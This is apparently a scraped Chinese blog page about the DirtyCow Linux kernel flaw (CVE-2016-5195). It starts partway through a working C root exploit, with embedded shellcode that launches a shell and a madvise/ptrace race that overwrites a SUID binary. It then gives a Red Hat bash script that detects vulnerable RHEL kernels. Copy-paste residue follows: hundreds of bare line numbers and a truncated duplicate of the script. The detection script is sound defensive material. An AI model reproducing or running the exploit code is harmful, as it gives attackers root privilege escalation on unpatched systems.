0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,

0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00,

0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,

0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,

0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,

0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00,

0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53,

0x89, 0xe1, 0xcd, 0x80

};

unsigned int sc_len = 136;

void *madviseThread(void *arg) {

int i,c=0;

for(i=0;i<200000000;i++)

c+=madvise(map,100,MADV_DONTNEED);

printf("madvise %d\n\n",c);

}

int main(int argc,char *argv[]){

printf(" \n\

(___) \n\

(o o)_____/ \n\

@@ ` \\ \n\

\\ ____, /%s \n\

// // \n\

^^ ^^ \n\

", suid_binary);

char *backup;

printf("DirtyCow root privilege escalation\n");

printf("Backing up %s to /tmp/bak\n", suid_binary);

asprintf(&backup, "cp %s /tmp/bak", suid_binary);

system(backup);

f=open(suid_binary,O_RDONLY);

fstat(f,&st);

map=mmap(NULL,st.st_size+sizeof(long),PROT_READ,MAP_PRIVATE,f,0);

printf("mmap %x\n\n",map);

pid=fork();

if(pid){

waitpid(pid,NULL,0);

int u,i,o,c=0,l=sc_len;

for(i=0;i<10000/l;i++)

for(o=0;o<l;o++)

for(u=0;u<10000;u++)

c+=ptrace(PTRACE_POKETEXT,pid,map+o,*((long*)(shell_code+o)));

printf("ptrace %d\n\n",c);

}

else{

pthread_create(&pth,

NULL,

madviseThread,

NULL);

ptrace(PTRACE_TRACEME);

kill(getpid(),SIGSTOP);

pthread_join(pth,NULL);

}

return 0;

}

dirtcow漏洞检测脚本

06 12月 2016 | category

Linux

已关闭评论

#!/bin/bash
# Version: 1.1

RED="\033[1;31m"
YELLOW="\033[1;33m"
GREEN="\033[1;32m"
BOLD="\033[1m"
RESET="\033[0m"

SAFE_KERNEL="SAFE_KERNEL"
SAFE_KPATCH="SAFE_KPATCH"
MITIGATED="MITIGATED"
VULNERABLE="VULNERABLE"

MITIGATION_ON='CVE-2016-5195 mitigation loaded'
MITIGATION_OFF='CVE-2016-5195 mitigation unloaded'


VULNERABLE_VERSIONS=(
    # RHEL5
    "2.6.18-8.1.1.el5"
    "2.6.18-8.1.3.el5"
    "2.6.18-8.1.4.el5"
    "2.6.18-8.1.6.el5"
    "2.6.18-8.1.8.el5"
    "2.6.18-8.1.10.el5"
    "2.6.18-8.1.14.el5"
    "2.6.18-8.1.15.el5"
    "2.6.18-53.el5"
    "2.6.18-53.1.4.el5"
    "2.6.18-53.1.6.el5"
    "2.6.18-53.1.13.el5"
    "2.6.18-53.1.14.el5"
    "2.6.18-53.1.19.el5"
    "2.6.18-53.1.21.el5"
    "2.6.18-92.el5"
    "2.6.18-92.1.1.el5"
    "2.6.18-92.1.6.el5"
    "2.6.18-92.1.10.el5"
    "2.6.18-92.1.13.el5"
    "2.6.18-92.1.18.el5"
    "2.6.18-92.1.22.el5"
    "2.6.18-92.1.24.el5"
    "2.6.18-92.1.26.el5"
    "2.6.18-92.1.27.el5"
    "2.6.18-92.1.28.el5"
    "2.6.18-92.1.29.el5"
    "2.6.18-92.1.32.el5"
    "2.6.18-92.1.35.el5"
    "2.6.18-92.1.38.el5"
    "2.6.18-128.el5"
    "2.6.18-128.1.1.el5"
    "2.6.18-128.1.6.el5"
    "2.6.18-128.1.10.el5"
    "2.6.18-128.1.14.el5"
    "2.6.18-128.1.16.el5"
    "2.6.18-128.2.1.el5"
    "2.6.18-128.4.1.el5"
    "2.6.18-128.4.1.el5"
    "2.6.18-128.7.1.el5"
    "2.6.18-128.8.1.el5"
    "2.6.18-128.11.1.el5"
    "2.6.18-128.12.1.el5"
    "2.6.18-128.14.1.el5"
    "2.6.18-128.16.1.el5"
    "2.6.18-128.17.1.el5"
    "2.6.18-128.18.1.el5"
    "2.6.18-128.23.1.el5"
    "2.6.18-128.23.2.el5"
    "2.6.18-128.25.1.el5"
    "2.6.18-128.26.1.el5"
    "2.6.18-128.27.1.el5"
    "2.6.18-128.29.1.el5"
    "2.6.18-128.30.1.el5"
    "2.6.18-128.31.1.el5"
    "2.6.18-128.32.1.el5"
    "2.6.18-128.35.1.el5"
    "2.6.18-128.36.1.el5"
    "2.6.18-128.37.1.el5"
    "2.6.18-128.38.1.el5"
    "2.6.18-128.39.1.el5"
    "2.6.18-128.40.1.el5"
    "2.6.18-128.41.1.el5"
    "2.6.18-164.el5"
    "2.6.18-164.2.1.el5"
    "2.6.18-164.6.1.el5"
    "2.6.18-164.9.1.el5"
    "2.6.18-164.10.1.el5"
    "2.6.18-164.11.1.el5"
    "2.6.18-164.15.1.el5"
    "2.6.18-164.17.1.el5"
    "2.6.18-164.19.1.el5"
    "2.6.18-164.21.1.el5"
    "2.6.18-164.25.1.el5"
    "2.6.18-164.25.2.el5"
    "2.6.18-164.28.1.el5"
    "2.6.18-164.30.1.el5"
    "2.6.18-164.32.1.el5"
    "2.6.18-164.34.1.el5"
    "2.6.18-164.36.1.el5"
    "2.6.18-164.37.1.el5"
    "2.6.18-164.38.1.el5"
    "2.6.18-194.el5"
    "2.6.18-194.3.1.el5"
    "2.6.18-194.8.1.el5"
    "2.6.18-194.11.1.el5"
    "2.6.18-194.11.3.el5"
    "2.6.18-194.11.4.el5"
    "2.6.18-194.17.1.el5"
    "2.6.18-194.17.4.el5"
    "2.6.18-194.26.1.el5"
    "2.6.18-194.32.1.el5"
    "2.6.18-238.el5"
    "2.6.18-238.1.1.el5"
    "2.6.18-238.5.1.el5"
    "2.6.18-238.9.1.el5"
    "2.6.18-238.12.1.el5"
    "2.6.18-238.19.1.el5"
    "2.6.18-238.21.1.el5"
    "2.6.18-238.27.1.el5"
    "2.6.18-238.28.1.el5"
    "2.6.18-238.31.1.el5"
    "2.6.18-238.33.1.el5"
    "2.6.18-238.35.1.el5"
    "2.6.18-238.37.1.el5"
    "2.6.18-238.39.1.el5"
    "2.6.18-238.40.1.el5"
    "2.6.18-238.44.1.el5"
    "2.6.18-238.45.1.el5"
    "2.6.18-238.47.1.el5"
    "2.6.18-238.48.1.el5"
    "2.6.18-238.49.1.el5"
    "2.6.18-238.50.1.el5"
    "2.6.18-238.51.1.el5"
    "2.6.18-238.52.1.el5"
    "2.6.18-238.53.1.el5"
    "2.6.18-238.54.1.el5"
    "2.6.18-238.55.1.el5"
    "2.6.18-238.56.1.el5"
    "2.6.18-274.el5"
    "2.6.18-274.3.1.el5"
    "2.6.18-274.7.1.el5"
    "2.6.18-274.12.1.el5"
    "2.6.18-274.17.1.el5"
    "2.6.18-274.18.1.el5"
    "2.6.18-308.el5"
    "2.6.18-308.1.1.el5"
    "2.6.18-308.4.1.el5"
    "2.6.18-308.8.1.el5"
    "2.6.18-308.8.2.el5"
    "2.6.18-308.11.1.el5"
    "2.6.18-308.13.1.el5"
    "2.6.18-308.16.1.el5"
    "2.6.18-308.20.1.el5"
    "2.6.18-308.24.1.el5"
    "2.6.18-348.el5"
    "2.6.18-348.1.1.el5"
    "2.6.18-348.2.1.el5"
    "2.6.18-348.3.1.el5"
    "2.6.18-348.4.1.el5"
    "2.6.18-348.6.1.el5"
    "2.6.18-348.12.1.el5"
    "2.6.18-348.16.1.el5"
    "2.6.18-348.18.1.el5"
    "2.6.18-348.19.1.el5"
    "2.6.18-348.21.1.el5"
    "2.6.18-348.22.1.el5"
    "2.6.18-348.23.1.el5"
    "2.6.18-348.25.1.el5"
    "2.6.18-348.27.1.el5"
    "2.6.18-348.28.1.el5"
    "2.6.18-348.29.1.el5"
    "2.6.18-348.30.1.el5"
    "2.6.18-348.31.2.el5"
    "2.6.18-371.el5"
    "2.6.18-371.1.2.el5"
    "2.6.18-371.3.1.el5"
    "2.6.18-371.4.1.el5"
    "2.6.18-371.6.1.el5"
    "2.6.18-371.8.1.el5"
    "2.6.18-371.9.1.el5"
    "2.6.18-371.11.1.el5"
    "2.6.18-371.12.1.el5"
    "2.6.18-398.el5"
    "2.6.18-400.el5"
    "2.6.18-400.1.1.el5"
    "2.6.18-402.el5"
    "2.6.18-404.el5"
    "2.6.18-406.el5"
    "2.6.18-407.el5"
    "2.6.18-408.el5"
    "2.6.18-409.el5"
    "2.6.18-410.el5"
    "2.6.18-411.el5"
    "2.6.18-412.el5"

    # RHEL6
    "2.6.32-71.7.1.el6"
    "2.6.32-71.14.1.el6"
    "2.6.32-71.18.1.el6"
    "2.6.32-71.18.2.el6"
    "2.6.32-71.24.1.el6"
    "2.6.32-71.29.1.el6"
    "2.6.32-71.31.1.el6"
    "2.6.32-71.34.1.el6"
    "2.6.32-71.35.1.el6"
    "2.6.32-71.36.1.el6"
    "2.6.32-71.37.1.el6"
    "2.6.32-71.38.1.el6"
    "2.6.32-71.39.1.el6"
    "2.6.32-71.40.1.el6"
    "2.6.32-131.0.15.el6"
    "2.6.32-131.2.1.el6"
    "2.6.32-131.4.1.el6"
    "2.6.32-131.6.1.el6"
    "2.6.32-131.12.1.el6"
    "2.6.32-131.17.1.el6"
    "2.6.32-131.21.1.el6"
    "2.6.32-131.22.1.el6"
    "2.6.32-131.25.1.el6"
    "2.6.32-131.26.1.el6"
    "2.6.32-131.28.1.el6"
    "2.6.32-131.29.1.el6"
    "2.6.32-131.30.1.el6"
    "2.6.32-131.30.2.el6"
    "2.6.32-131.33.1.el6"
    "2.6.32-131.35.1.el6"
    "2.6.32-131.36.1.el6"
    "2.6.32-131.37.1.el6"
    "2.6.32-131.38.1.el6"
    "2.6.32-131.39.1.el6"
    "2.6.32-220.el6"
    "2.6.32-220.2.1.el6"
    "2.6.32-220.4.1.el6"
    "2.6.32-220.4.2.el6"
    "2.6.32-220.4.7.bgq.el6"
    "2.6.32-220.7.1.el6"
    "2.6.32-220.7.3.p7ih.el6"
    "2.6.32-220.7.4.p7ih.el6"
    "2.6.32-220.7.6.p7ih.el6"
    "2.6.32-220.7.7.p7ih.el6"
    "2.6.32-220.13.1.el6"
    "2.6.32-220.17.1.el6"
    "2.6.32-220.23.1.el6"
    "2.6.32-220.24.1.el6"
    "2.6.32-220.25.1.el6"
    "2.6.32-220.26.1.el6"
    "2.6.32-220.28.1.el6"
    "2.6.32-220.30.1.el6"
    "2.6.32-220.31.1.el6"
    "2.6.32-220.32.1.el6"
    "2.6.32-220.34.1.el6"
    "2.6.32-220.34.2.el6"
    "2.6.32-220.38.1.el6"
    "2.6.32-220.39.1.el6"
    "2.6.32-220.41.1.el6"
    "2.6.32-220.42.1.el6"
    "2.6.32-220.45.1.el6"
    "2.6.32-220.46.1.el6"
    "2.6.32-220.48.1.el6"
    "2.6.32-220.51.1.el6"
    "2.6.32-220.52.1.el6"
    "2.6.32-220.53.1.el6"
    "2.6.32-220.54.1.el6"
    "2.6.32-220.55.1.el6"
    "2.6.32-220.56.1.el6"
    "2.6.32-220.57.1.el6"
    "2.6.32-220.58.1.el6"
    "2.6.32-220.60.2.el6"
    "2.6.32-220.62.1.el6"
    "2.6.32-220.63.2.el6"
    "2.6.32-220.64.1.el6"
    "2.6.32-220.65.1.el6"
    "2.6.32-220.66.1.el6"
    "2.6.32-220.67.1.el6"
    "2.6.32-279.el6"
    "2.6.32-279.1.1.el6"
    "2.6.32-279.2.1.el6"
    "2.6.32-279.5.1.el6"
    "2.6.32-279.5.2.el6"
    "2.6.32-279.9.1.el6"
    "2.6.32-279.11.1.el6"
    "2.6.32-279.14.1.bgq.el6"
    "2.6.32-279.14.1.el6"
    "2.6.32-279.19.1.el6"
    "2.6.32-279.22.1.el6"
    "2.6.32-279.23.1.el6"
    "2.6.32-279.25.1.el6"
    "2.6.32-279.25.2.el6"
    "2.6.32-279.31.1.el6"
    "2.6.32-279.33.1.el6"
    "2.6.32-279.34.1.el6"
    "2.6.32-279.37.2.el6"
    "2.6.32-279.39.1.el6"
    "2.6.32-279.41.1.el6"
    "2.6.32-279.42.1.el6"
    "2.6.32-279.43.1.el6"
    "2.6.32-279.43.2.el6"
    "2.6.32-279.46.1.el6"
    "2.6.32-358.el6"
    "2.6.32-358.0.1.el6"
    "2.6.32-358.2.1.el6"
    "2.6.32-358.6.1.el6"
    "2.6.32-358.6.2.el6"
    "2.6.32-358.6.3.p7ih.el6"
    "2.6.32-358.11.1.bgq.el6"
    "2.6.32-358.11.1.el6"
    "2.6.32-358.14.1.el6"
    "2.6.32-358.18.1.el6"
    "2.6.32-358.23.2.el6"
    "2.6.32-358.28.1.el6"
    "2.6.32-358.32.3.el6"
    "2.6.32-358.37.1.el6"
    "2.6.32-358.41.1.el6"
    "2.6.32-358.44.1.el6"
    "2.6.32-358.46.1.el6"
    "2.6.32-358.46.2.el6"
    "2.6.32-358.48.1.el6"
    "2.6.32-358.49.1.el6"
    "2.6.32-358.51.1.el6"
    "2.6.32-358.51.2.el6"
    "2.6.32-358.55.1.el6"
    "2.6.32-358.56.1.el6"
    "2.6.32-358.59.1.el6"
    "2.6.32-358.61.1.el6"
    "2.6.32-358.62.1.el6"
    "2.6.32-358.65.1.el6"
    "2.6.32-358.67.1.el6"
    "2.6.32-358.68.1.el6"
    "2.6.32-358.69.1.el6"
    "2.6.32-358.70.1.el6"
    "2.6.32-358.71.1.el6"
    "2.6.32-358.72.1.el6"
    "2.6.32-358.73.1.el6"
    "2.6.32-358.111.1.openstack.el6"
    "2.6.32-358.114.1.openstack.el6"
    "2.6.32-358.118.1.openstack.el6"
    "2.6.32-358.123.4.openstack.el6"
    "2.6.32-431.el6"
    "2.6.32-431.1.1.bgq.el6"
    "2.6.32-431.1.2.el6"
    "2.6.32-431.3.1.el6"
    "2.6.32-431.5.1.el6"
    "2.6.32-431.11.2.el6"
    "2.6.32-431.17.1.el6"
    "2.6.32-431.20.3.el6"
    "2.6.32-431.20.5.el6"
    "2.6.32-431.23.3.el6"
    "2.6.32-431.29.2.el6"
    "2.6.32-431.37.1.el6"
    "2.6.32-431.40.1.el6"
    "2.6.32-431.40.2.el6"
    "2.6.32-431.46.2.el6"
    "2.6.32-431.50.1.el6"
    "2.6.32-431.53.2.el6"
    "2.6.32-431.56.1.el6"
    "2.6.32-431.59.1.el6"
    "2.6.32-431.61.2.el6"
    "2.6.32-431.64.1.el6"
    "2.6.32-431.66.1.el6"
    "2.6.32-431.68.1.el6"
    "2.6.32-431.69.1.el6"
    "2.6.32-431.70.1.el6"
    "2.6.32-431.71.1.el6"
    "2.6.32-431.72.1.el6"
    "2.6.32-431.73.2.el6"
    "2.6.32-431.74.1.el6"
    "2.6.32-504.el6"
    "2.6.32-504.1.3.el6"
    "2.6.32-504.3.3.el6"
    "2.6.32-504.8.1.el6"
    "2.6.32-504.8.2.bgq.el6"
    "2.6.32-504.12.2.el6"
    "2.6.32-504.16.2.el6"
    "2.6.32-504.23.4.el6"
    "2.6.32-504.30.3.el6"
    "2.6.32-504.30.5.p7ih.el6"
    "2.6.32-504.33.2.el6"
    "2.6.32-504.36.1.el6"
    "2.6.32-504.38.1.el6"
    "2.6.32-504.40.1.el6"
    "2.6.32-504.43.1.el6"
    "2.6.32-504.46.1.el6"
    "2.6.32-504.49.1.el6"
    "2.6.32-504.50.1.el6"
    "2.6.32-504.51.1.el6"
    "2.6.32-504.52.1.el6"
    "2.6.32-573.el6"
    "2.6.32-573.1.1.el6"
    "2.6.32-573.3.1.el6"
    "2.6.32-573.4.2.bgq.el6"
    "2.6.32-573.7.1.el6"
    "2.6.32-573.8.1.el6"
    "2.6.32-573.12.1.el6"
    "2.6.32-573.18.1.el6"
    "2.6.32-573.22.1.el6"
    "2.6.32-573.26.1.el6"
    "2.6.32-573.30.1.el6"
    "2.6.32-573.32.1.el6"
    "2.6.32-573.34.1.el6"
    "2.6.32-642.el6"
    "2.6.32-642.1.1.el6"
    "2.6.32-642.3.1.el6"
    "2.6.32-642.4.2.el6"
    "2.6.32-642.6.1.el6"

    # RHEL7
    "3.10.0-123.el7"
    "3.10.0-123.1.2.el7"
    "3.10.0-123.4.2.el7"
    "3.10.0-123.4.4.el7"
    "3.10.0-123.6.3.el7"
    "3.10.0-123.8.1.el7"
    "3.10.0-123.9.2.el7"
    "3.10.0-123.9.3.el7"
    "3.10.0-123.13.1.el7"
    "3.10.0-123.13.2.el7"
    "3.10.0-123.20.1.el7"
    "3.10.0-229.el7"
    "3.10.0-229.1.2.el7"
    "3.10.0-229.4.2.el7"
    "3.10.0-229.7.2.el7"
    "3.10.0-229.11.1.el7"
    "3.10.0-229.14.1.el7"
    "3.10.0-229.20.1.el7"
    "2.10.0-229.24.2.el7"
    "2.10.0-229.26.2.el7"
    "2.10.0-229.28.1.el7"
    "2.10.0-229.30.1.el7"
    "2.10.0-229.34.1.el7"
    "2.10.0-229.38.1.el7"
    "2.10.0-229.40.1.el7"
    "2.10.0-229.42.1.el7"
    "3.10.0-327.el7"
    "3.10.0-327.3.1.el7"
    "3.10.0-327.4.4.el7"
    "3.10.0-327.4.5.el7"
    "3.10.0-327.10.1.el7"
    "3.10.0-327.13.1.el7"
    "3.10.0-327.18.2.el7"
    "3.10.0-327.22.2.el7"
    "3.10.0-327.28.2.el7"
    "3.10.0-327.28.3.el7"
    "3.10.0-327.36.1.el7"
    "3.10.0-327.36.2.el7"
    "3.10.0-229.1.2.ael7b"
    "3.10.0-229.4.2.ael7b"
    "3.10.0-229.7.2.ael7b"
    "3.10.0-229.11.1.ael7b"
    "3.10.0-229.14.1.ael7b"
    "3.10.0-229.20.1.ael7b"
    "3.10.0-229.24.2.ael7b"
    "3.10.0-229.26.2.ael7b"
    "3.10.0-229.28.1.ael7b"
    "3.10.0-229.30.1.ael7b"
    "3.10.0-229.34.1.ael7b"
    "3.10.0-229.38.1.ael7b"
    "3.10.0-229.40.1.ael7b"
    "3.10.0-229.42.1.ael7b"
    "4.2.0-0.21.el7"

    # RHEL5
    "2.6.24.7-74.el5rt"
    "2.6.24.7-81.el5rt"
    "2.6.24.7-93.el5rt"
    "2.6.24.7-101.el5rt"
    "2.6.24.7-108.el5rt"
    "2.6.24.7-111.el5rt"
    "2.6.24.7-117.el5rt"
    "2.6.24.7-126.el5rt"
    "2.6.24.7-132.el5rt"
    "2.6.24.7-137.el5rt"
    "2.6.24.7-139.el5rt"
    "2.6.24.7-146.el5rt"
    "2.6.24.7-149.el5rt"
    "2.6.24.7-161.el5rt"
    "2.6.24.7-169.el5rt"
    "2.6.33.7-rt29.45.el5rt"
    "2.6.33.7-rt29.47.el5rt"
    "2.6.33.7-rt29.55.el5rt"
    "2.6.33.9-rt31.64.el5rt"
    "2.6.33.9-rt31.67.el5rt"
    "2.6.33.9-rt31.86.el5rt"

    # RHEL6
    "2.6.33.9-rt31.66.el6rt"
    "2.6.33.9-rt31.74.el6rt"
    "2.6.33.9-rt31.75.el6rt"
    "2.6.33.9-rt31.79.el6rt"
    "3.0.9-rt26.45.el6rt"
    "3.0.9-rt26.46.el6rt"
    "3.0.18-rt34.53.el6rt"
    "3.0.25-rt44.57.el6rt"
    "3.0.30-rt50.62.el6rt"
    "3.0.36-rt57.66.el6rt"
    "3.2.23-rt37.56.el6rt"
    "3.2.33-rt50.66.el6rt"
    "3.6.11-rt28.20.el6rt"
    "3.6.11-rt30.25.el6rt"
    "3.6.11.2-rt33.39.el6rt"
    "3.6.11.5-rt37.55.el6rt"
    "3.8.13-rt14.20.el6rt"
    "3.8.13-rt14.25.el6rt"
    "3.8.13-rt27.33.el6rt"
    "3.8.13-rt27.34.el6rt"
    "3.8.13-rt27.40.el6rt"
    "2.10.0-229.rt56.144.el6rt"
    "2.10.0-229.rt56.147.el6rt"
    "2.10.0-229.rt56.149.el6rt"
    "2.10.0-229.rt56.151.el6rt"
    "2.10.0-229.rt56.153.el6rt"
    "2.10.0-229.rt56.158.el6rt"
    "2.10.0-229.rt56.161.el6rt"
    "2.10.0-229.rt56.162.el6rt"
    "2.10.0-327.rt56.170.el6rt"
    "2.10.0-327.rt56.171.el6rt"
    "2.10.0-327.rt56.176.el6rt"
    "2.10.0-327.rt56.183.el6rt"
    "2.10.0-327.rt56.190.el6rt"
    "2.10.0-327.rt56.194.el6rt"
    "2.10.0-327.rt56.195.el6rt"
    "2.10.0-327.rt56.197.el6rt"
    "3.10.33-rt32.33.el6rt"
    "3.10.33-rt32.34.el6rt"
    "3.10.33-rt32.43.el6rt"
    "3.10.33-rt32.45.el6rt"
    "3.10.33-rt32.51.el6rt"
    "3.10.33-rt32.52.el6rt"
    "3.10.58-rt62.58.el6rt"
    "3.10.58-rt62.60.el6rt"

    # RHEL7
    "3.10.0-229.rt56.141.el7"
    "3.10.0-229.1.2.rt56.141.2.el7_1"
    "3.10.0-229.4.2.rt56.141.6.el7_1"
    "3.10.0-229.7.2.rt56.141.6.el7_1"
    "3.10.0-229.11.1.rt56.141.11.el7_1"
    "3.10.0-229.14.1.rt56.141.13.el7_1"
    "3.10.0-229.20.1.rt56.141.14.el7_1"
    "3.10.0-229.rt56.141.el7"
    "3.10.0-327.rt56.204.el7"
    "3.10.0-327.4.5.rt56.206.el7_2"
    "3.10.0-327.10.1.rt56.211.el7_2"
    "3.10.0-327.13.1.rt56.216.el7_2"
    "3.10.0-327.18.2.rt56.223.el7_2"
    "3.10.0-327.22.2.rt56.230.el7_2"
    "3.10.0-327.28.2.rt56.234.el7_2"
    "3.10.0-327.28.3.rt56.235.el7"
    "3.10.0-327.36.1.rt56.237.el7"
)

KPATCH_MODULE_NAMES=(
    "kpatch_3_10_0_327_36_1_1_1"
    "kpatch_3_10_0_327_36_2_1_1"
)

running_kernel=$( uname -r )

# Check supported platform
if [[ "$running_kernel" != *".el"[5-7]* ]]; then
    echo -e "${RED}This script is only meant to detect vulnerable kernels on Red Hat Enterprise Linux 5, 6 and 7.${RESET}"
    exit 4
fi

# Check kernel if it is vulnerable
for tested_kernel in "${VULNERABLE_VERSIONS[@]}"; do
    if [[ "$running_kernel" == *"$tested_kernel"* ]]; then
        vulnerable_kernel=${running_kernel}
        break
    fi
done

# Check if kpatch is installed
modules=$( lsmod )
for tested_kpatch in "${KPATCH_MODULE_NAMES[@]}"; do
    if [[ "$modules" == *"$tested_kpatch"* ]]; then
        applied_kpatch=${tested_kpatch}
        break
    fi
done

# Check mitigation
mitigated=0
while read -r line; do
    if [[ "$line" == *"$MITIGATION_ON"* ]]; then
        mitigated=1
    elif [[ "$line" == *"$MITIGATION_OFF"* ]]; then
        mitigated=0
    fi
done < <( dmesg )

# Result interpretation
result=${VULNERABLE}
if (( mitigated )); then
    result=${MITIGATED}
fi
if [[ ! "$vulnerable_kernel" ]]; then
    result=${SAFE_KERNEL}
elif [[ "$applied_kpatch" ]]; then
    result=${SAFE_KPATCH}
fi

# Print result
if [[ ${result} == "$SAFE_KERNEL" ]]; then
    echo -e "${GREEN}Your kernel is ${RESET}$running_kernel${GREEN} which is NOT vulnerable.${RESET}"
    exit 0
elif [[ ${result} == "$SAFE_KPATCH" ]]; then
    echo -e "Your kernel is $running_kernel which is normally vulnerable."
    echo -e "${GREEN}However, you have kpatch ${RESET}$applied_kpatch${GREEN} applied, which fixes the vulnerability.${RESET}"
    exit 1
elif [[ ${result} == "$MITIGATED" ]]; then
    echo -e "${YELLOW}Your kernel is ${RESET}$running_kernel${YELLOW} which IS vulnerable.${RESET}"
    echo -e "${YELLOW}You have a partial mitigation applied.${RESET}"
    echo -e "This mitigation protects against most common attack vectors which are already exploited in the wild,"
    echo -e "but does not protect against all possible attack vectors."
    echo -e "Red Hat recommends that you update your kernel as soon as possible."
    exit 2
else
    echo -e "${RED}Your kernel is ${RESET}$running_kernel${RED} which IS vulnerable.${RESET}"
    echo -e "Red Hat recommends that you update your kernel. Alternatively, you can apply partial"
    echo -e "mitigation described at https://access.redhat.com/security/vulnerabilities/2706661 ."
    exit 3
fi

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

232

233

234

235

236

237

238

239

240

241

242

243

244

245

246

247

248

249

250

251

252

253

254

255

256

257

258

259

260

261

262

263

264

265

266

267

268

269

270

271

272

273

274

275

276

277

278

279

280

281

282

283

284

285

286

287

288

289

290

291

292

293

294

295

296

297

298

299

300

301

302

303

304

305

306

307

308

309

310

311

312

313

314

315

316

317

318

319

320

321

322

323

324

325

326

327

328

329

330

331

332

333

334

335

336

337

338

339

340

341

342

343

344

345

346

347

348

349

350

351

352

353

354

355

356

357

358

359

360

361

362

363

364

365

366

367

368

369

370

371

372

373

374

375

376

377

378

379

380

381

382

383

384

385

386

387

388

389

390

391

392

393

394

395

396

397

398

399

400

401

402

403

404

405

406

407

408

409

410

411

412

413

414

415

416

417

418

419

420

421

422

423

424

425

426

427

428

429

430

431

432

433

434

435

436

437

438

439

440

441

442

443

444

445

446

447

448

449

450

451

452

453

454

455

456

457

458

459

460

461

462

463

464

465

466

467

468

469

470

471

472

473

474

475

476

477

478

479

480

481

482

483

484

485

486

487

488

489

490

491

492

493

494

495

496

497

498

499

500

501

502

503

504

505

506

507

508

509

510

511

512

513

514

515

516

517

518

519

520

521

522

523

524

525

526

527

528

529

530

531

532

533

534

535

536

537

538

539

540

541

542

543

544

545

546

547

548

549

550

551

552

553

554

555

556

557

558

559

560

561

562

563

564

565

566

567

568

569

570

571

572

573

574

575

576

577

578

579

580

581

582

583

584

585

586

587

588

589

590

591

592

593

594

595

596

597

598

599

600

601

602

603

604

605

606

607

608

609

610

611

612

613

614

615

616

617

618

619

620

621

622

623

#!/bin/bash

# Version: 1.1

RED="\033[1;31m"

YELLOW="\033[1;33m"

GREEN="\033[1;32m"

BOLD="\033[1m"

RESET="\033[0m"

SAFE_KERNEL="SAFE_KERNEL"

SAFE_KPATCH="SAFE_KPATCH"

MITIGATED="MITIGATED"

VULNERABLE="VULNERABLE"

MITIGATION_ON='CVE-2016-5195 mitigation loaded'

MITIGATION_OFF='CVE-2016-5195 mitigation unloaded'

VULNERABLE_VERSIONS=(

# RHEL5

"2.6.18-8.1.1.el5"

"2.6.18-8.1.3.el5"

"2.6.18-8.1.4.el5"

"2.6.18-8.1.6.el5"

"2.6.18-8.1.8.el5"

"2.6.18-8.1.10.el5"

"2.6.18-8.1.14.el5"

"2.6.18-8.1.15.el5"

"2.6.18-53.el5"

"2.6.18-53.1.4.el5"

"2.6.18-53.1.6.el5"

"2.6.18-53.1.13.el5"

"2.6.18-53.1.14.el5"

"2.6.18-53.1.19.el5"

"2.6.18-53.1.21.el5"

"2.6.18-92.el5"

"2.6.18-92.1.1.el5"

"2.6.18-92.1.6.el5"

"2.6.18-92.1.10.el5"

"2.6.18-92.1.13.el5"

"2.6.18-92.1.18.el5"

"2.6.18-92.1.22.el5"

"2.6.18-92.1.24.el5"

"2.6.18-92.1.26.el5"

"2.6.18-92.1.27.el5"

"2.6.18-92.1.28.el5"

"2.6.18-92.1.29.el5"

"2.6.18-92.1.32.el5"

"2.6.18-92.1.35.el5"

"2.6.18-92.1.38.el5"

"2.6.18-128.el5"

"2.6.18-128.1.1.el5"

"2.6.18-128.1.6.el5"

"2.6.18-128.1.10.el5"

"2.6.18-128.1.14.el5"

"2.6.18-128.1.16.el5"

"2.6.18-128.2.1.el5"

"2.6.18-128.4.1.el5"

"2.6.18-128.7.1.el5"

"2.6.18-128.8.1.el5"

"2.6.18-128.11.1.el5"

"2.6.18-128.12.1.el5"

"2.6.18-128.14.1.el5"

"2.6.18-128.16.1.el5"

"2.6.18-128.17.1.el5"

"2.6.18-128.18.1.el5"

"2.6.18-128.23.1.el5"

"2.6.18-128.23.2.el5"

"2.6.18-128.25.1.el5"

"2.6.18-128.26.1.el5"

"2.6.18-128.27.1.el5"

"2.6.18-128.29.1.el5"

"2.6.18-128.30.1.el5"

"2.6.18-128.31.1.el5"

"2.6.18-128.32.1.el5"

"2.6.18-128.35.1.el5"

"2.6.18-128.36.1.el5"

"2.6.18-128.37.1.el5"

"2.6.18-128.38.1.el5"

"2.6.18-128.39.1.el5"

"2.6.18-128.40.1.el5"

"2.6.18-128.41.1.el5"

"2.6.18-164.el5"

"2.6.18-164.2.1.el5"

"2.6.18-164.6.1.el5"

"2.6.18-164.9.1.el5"

"2.6.18-164.10.1.el5"

"2.6.18-164.11.1.el5"

"2.6.18-164.15.1.el5"

"2.6.18-164.17.1.el5"

"2.6.18-164.19.1.el5"

"2.6.18-164.21.1.el5"

"2.6.18-164.25.1.el5"

"2.6.18-164.25.2.el5"

"2.6.18-164.28.1.el5"

